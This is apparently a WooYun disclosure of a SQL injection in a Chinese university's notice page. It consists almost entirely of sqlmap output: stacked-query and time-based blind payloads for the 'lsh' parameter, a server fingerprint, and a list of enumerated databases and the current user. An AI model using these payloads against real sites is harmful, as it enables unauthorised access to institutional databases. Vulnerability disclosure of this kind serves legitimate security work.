WooYun.org

注入点:http://jxxx.ncut.edu.cn/notice.asp?lsh=1324
Place: GET
Parameter: lsh
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: lsh=1324; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: lsh=1324 WAITFOR DELAY '0:0:5'--
---
[23:01:25] [INFO] testing Microsoft SQL Server
[23:01:25] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] Y
[23:01:30] [INFO] confirming Microsoft SQL Server
[23:01:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[23:01:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 14 times
[23:01:37] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\jxxx.ncut.edu.cn'
current user: 'student79'
current database: 'JIAOWUSYSTEM'
available databases [10]:
[*] articles
[*] bbs
[*] chat
[*] JIAOWUSYSTEM
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb